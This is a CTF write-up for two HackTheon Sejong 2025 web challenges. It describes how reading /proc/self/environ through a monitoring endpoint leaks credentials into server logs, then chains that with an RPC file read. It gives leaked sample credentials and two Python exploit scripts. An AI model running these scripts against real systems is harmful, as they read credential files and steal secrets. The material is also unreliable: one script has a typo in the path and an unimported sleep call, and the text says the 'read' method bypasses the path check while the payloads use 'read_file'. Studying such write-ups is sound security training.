😆
Notes
Extra Notes
  • 👾Not To Far But So Farz
  • 2025-Stuff
    • ✍️CTF-Writeup
      • HACKTHEON SEJONG 2025
      • UMCS CTF 2025
      • Squ1rrel CTF 2025
      • Hacker101 CTF {Micro-CMS-v1}
      • HTB-CTF {OnlyHacks}
      • Imaginary CTF 2023
      • picoCTF WEB (EASY)
      • PicoCTF Exclusive
      • picoCTF 2019
    • 🎰Machine-Writeup
      • Active Directory
        • EscapeTwo AD
      • Linux
        • Titanic Linux
      • PwnTillDawn
        • Snare
      • Fortresses
        • JET
    • ⚠️Learning-Stuff
      • PHP
      • SQL Injection
        • SQL Note
        • SQL Cheat
      • Apache
        • Filename Confusion
      • XMl External Entity
      • Source Code Review
        • Challenge 1
          • CTF File
    • Yapping-Rant
    • Script and Tools
      • HostCLI
      • pbkdf2
    • EXtra Outsource
  • Certificate
    • ProLab HTB
Powered by GitBook
On this page
  • Frontdoor 1
  • Challenge Information
  • Overview
  • Observed API Functionalities
  • Initial Analysis
  • Logging vulnerability
  • Full Exploitation Flow:
  • Frontdoor 2
  • Challenge Information
  • Challenge Overview
  • Step-by-Step Solution
  • Key Analysis of rpc.rs:
  • 4. Final Exploitation - Reading the Flag
  • Full Exploitation Summary:
  • Script
  1. 2025-Stuff
  2. CTF-Writeup

HACKTHEON SEJONG 2025

PreviousCTF-WriteupNextUMCS CTF 2025

Last updated 10 days ago

Last weekend to be specific (26 April 2025), I’m joining the ‘2025 HackTheon Sejong’ International University Students’ Cyber Security Competition . My team name as “RE:UN10N Jr.”. It was really tough an totallyu differnet compare to last year challenge. We manage to secure 20th. Thanks to my teammate for carrying. (benkyou, Capang, hikki).

Frontdoor 1


Challenge Information

  • Category: Web

  • Difficulty: Easy

  • Objective: Exploit web vulnerabilities to retrieve the flag.

  • Tag: LFI

  • Flag: FLAG{Me7Hod_Ch4iN1nG_1s_5o_COoo0Oo00oO0ol}


Overview

The challenge provides source code along with a docker-compose.yaml file. Within this YAML configuration, user credentials are exposed, which can be used to log in via the /api/signin endpoint. After successful authentication, the flag is accessible at the /api/flag endpoint, using the same session.

However, while credentials are included in the provided files, the live challenge server uses different credentials. Thus, the real goal of the challenge is to leak the credentials from the server’s runtime environment.

Observed API Functionalities

The following functionalities were observed:

Endpoint
Method
Handler
Description

/api

GET

get_root_handler

Retrieves basic API information or a welcome message.

/api/health-check

GET

get_health_check_handler

Health check endpoint to verify server uptime and status.

/api/logs

GET

get_logs_handler

Fetch server logs. Supports level query parameter to control verbosity (e.g., error, warn, info, debug).

/api/monitor/{info}

GET

get_monitor_handler

Reads specified system files (like /proc/stat, /proc/meminfo, etc.) based on info argument.

/api/signin

POST

post_signin_handler

Allows users to authenticate with username and password.

/api/flag

GET

get_flag_handler (protected by middleware)

Retrieves the challenge flag after successful authentication.

  • Accessing /api/flag Requires valid authentication, enforced by the middleware middlewares::authorize.

  • The /api/logs endpoint supports log level selection through a query parameter (?level=warn, ?level=info, etc.), which is key to leaking internal warnings.

  • The /api/monitor/{info} The endpoint has file-read logic tied to /proc/, but improperly handled unknown paths are logged, leading to information disclosure.

Initial Analysis

In the provided Rust source code monitor.rs, we find that the endpoint /api/monitor/{info} handles requests for different types of system monitoring information.

The alias function maps specific keywords to files inside /proc/:

fn alias(info: &str) -> Option<String> {
    match info {
        "cpu" => Some("stat".to_string()),
        "mem" => Some("meminfo".to_string()),
        "idle-time" => Some("uptime".to_string()),
        _ => None,
    }
}
  • Maps friendly names (cpu, mem, idle-time) to specific filenames under /proc/.

  • If an unknown info is provided, it falls back to using info as-is, allowing arbitrary file requests inside /proc.

File Path Validation

let file_path = match PathBuf::from("/proc")
    .join(alias(&info).unwrap_or(info.clone()))
    .canonicalize()
    
if !file_path.starts_with("/proc") || !file_path.is_file() {
    return (StatusCode::BAD_REQUEST, "Invalid argument").into_response();
}

let comps: Vec<_> = file_path.components().collect();
if comps.len() > 4 {
    return (StatusCode::BAD_REQUEST, "Invalid argument").into_response();
}
  • Tries to resolve the absolute path under /proc/.

  • If canonicalization fails, an error is returned.

  • Path must still start with /proc after canonicalization.

  • Must be a file, not a directory.

Bypass Trick:

Using /proc/self/... works because /proc/self is a special symlink pointing to the current process's /proc/[pid], satisfying the PID check indirectly.

This allows reading files like environ without knowing the real PID.:

/proc/self%2fenviron

Logging vulnerability

rustCopyEditasync fn parse_content(info: &str, content: &str) -> String {
    match info {
        "uptime" => parse_uptime(content),
        "idle-time" => parse_idle_time(content),
        "cpu" => parse_cpu(content),
        "mem" => parse_mem(content),
        _ => {
            tracing::warn!("Unknown info type: '{}', content '{}'", info, content);
            String::new()
        }
    }
}
  • If info is not recognized, it logs the full info and the file content at warn level.

Full Exploitation Flow:

  1. Read environment variables:

    GET /api/monitor/self%2fenviron
  2. The environment file contents are logged as a warning.

  3. Fetch leaked logs:

    GET /api/logs?level=warn
  4. Extract leaked credentials from the environment variables.

  5. Authenticate /api/signin and retrieve the flag from /api/flag.

Full Script.

import requests
import time

BASE_URL = "http://localhost:8080"  
session = requests.Session()

def trigger_log_injection():
    print("Triggering log injection")
    resp = session.get(f"{BASE_URL}/api/monitor/self%2fenviro n")
    if resp.status_code == 200:
        print("Done.")
    else:
        print("Error.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def fetch_leaked_logs():
    print("See Logs")
    resp = session.get(f"{BASE_URL}/api/logs?level=warn")
    if resp.status_code == 200:
        print("[+] Logs fetched successfully.")
        print("\n=== Leaked Log Content Start ===\n")
        print(resp.text)
        print("\n=== Leaked Log Content End ===\n")
    else:
        print("[-] Failed to fetch logs.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def login_and_get_flag(username, password):
    print(f"[*] Login: {username}")
    data = {
        "username": username,
        "password": password
    }
    resp = session.post(f"{BASE_URL}/api/signin", json=data)
    if resp.status_code == 200:
        print("[+] Login successful!")
        fetch_flag()
    else:
        print("[-] Login failed.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def fetch_flag():
    print(" FLAG Retrieve.")
    resp = session.get(f"{BASE_URL}/api/flag")
    if resp.status_code == 200:
        print("[+] Flag retrieved successfully!")
        print(f"Flag: {resp.text}")
    else:
        print("[-] Failed to retrieve the flag.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def main():
    trigger_log_injection()
    sleep(5)
    fetch_leaked_logs()
    print("[*] Now manually input the leaked username and password you found in the logs.")
    username = input("Username: ").strip()
    password = input("Password: ").strip()
    login_and_get_flag(username, password)

if __name__ == "__main__":
    main()

Frontdoor 2


Challenge Information

  • Category: Web

  • Difficulty: Easy

  • Objective: Exploit web vulnerabilities to retrieve the flag.

  • Tag: LFI

Challenge Overview

This challenge builds directly on the techniques from Frontdoor 1. However, this time:

  • There is no /api/flag endpoint.

  • A new RPC system is introduced via the /api/rpc endpoint.

  • The objective is to read the flag file on the server via the RPC system after logging in.


Step-by-Step Solution

1. Credential Leak via /proc/self/environ

The first step remains identical to Frontdoor 1:

  • Trigger a log injection using:

    GET /api/monitor/self%2fenviron
  • Fetch the leaked logs:

    GET /api/logs?level=warn
  • Extract the credentials from the leaked environment variables.

Credentials used: (Same as Frontdoor 1 credentials — e.g., s3cre7Guest1:G#3stAcc3ss!25)


2. Login to the Application

Using the leaked credentials:

  • Login via:

    POST /api/signin
    Content-Type: application/json
    
    {
      "username": "s3cre7Guest1",
      "password": "G#3stAcc3ss!25"
    }
  • A session is established upon successful login.


3. Interacting with /api/rpc

The /api/rpc endpoint allows remote method invocation. It is controlled by the rpc.rs server-side code, specifically the append_session_dir() function.


Key Analysis of rpc.rs:

rustCopyEditasync fn append_session_dir(session: &Session, body: &mut PostRpcBody) -> bool {
    let dir = match session.get::<PathBuf>("dir").await {
        Ok(Some(dir)) => dir,
        _ => return false,
    };

    let method = body.method.as_str();
    if method == "close" || method == "read" || method == "write" || method == "exit" {
        return true;
    }

    if body.params.is_empty() || body.params[0].param_type != 1 {
        return false;
    }

    let path = match &body.params[0].value {
        ParameterValue::Int(_) => return false,
        ParameterValue::Str(s) => dir.join(s),
    };

    if !path.is_absolute() || path.is_symlink() {
        return false;
    }

    body.params[0].value = ParameterValue::Str(path.to_str().unwrap().to_string());

    true
}

What this does:

  • If the method is close, read, write, or exit, no path modification is done.

  • Otherwise, it forces any file path passed into an absolute path under the user's session directory (stored under session.get::<PathBuf>("dir")).

  • It rejects symbolic links and non-absolute paths.

✅ So, if we stick to method = read, we can avoid path modification!


4. Final Exploitation - Reading the Flag

Since read is one of the allowed methods without directory patching, we can directly request the flag file.

Assuming the flag file is something standard like /flag, or otherwise known, we craft the RPC call:

POST /api/rpc

POST /api/rpc
Content-Type: application/json

{
  "method": "read_file",
  "params": [
    {
      "type": 1,
      "value": "/flag"
    }
  ]
}

Result:

  • If successful, the server reads /flag and returns its content — the flag.


Full Exploitation Summary:

  1. Trigger an environment variable leak via /api/monitor/self%2fenviron.

  2. Fetch and read leaked logs via /api/logs?level=warn.

  3. Extract credentials and login at /api/signin.

  4. Use /api/rpc with the read method and target /flag to retrieve the flag.


Script

import requests
import time

BASE_URL = "http://localhost:8080" 
session = requests.Session()

def trigger_log_injection():
    session.get(f"{BASE_URL}/api/monitor/self%2fenviron")

def fetch_leaked_logs():
    time.sleep(5)
    resp = session.get(f"{BASE_URL}/api/logs?level=warn")
    print(resp.text)

def login(username, password):
    resp = session.post(f"{BASE_URL}/api/signin", json={"username": username, "password": password})
    return resp.status_code == 200

def read_flag():
    payload = {
        "method": "read_file",
        "params": [
            {
                "type": 1,
                "value": "/app/flag"
            }
        ]
    }
    resp = session.post(f"{BASE_URL}/api/rpc", json=payload)
    print(resp.text)

def main():
    trigger_log_injection()
    print("[*] Waiting and fetching logs...")
    fetch_leaked_logs()
    
    username = input("Username from leak: ").strip()
    password = input("Password from leak: ").strip()
    
    if login(username, password):
        print("[+] Login successful, reading flag...")
        read_flag()
    else:
        print("[-] Login failed.")

if __name__ == "__main__":
    main()
✍️
https://hacktheon.org/eng/info.php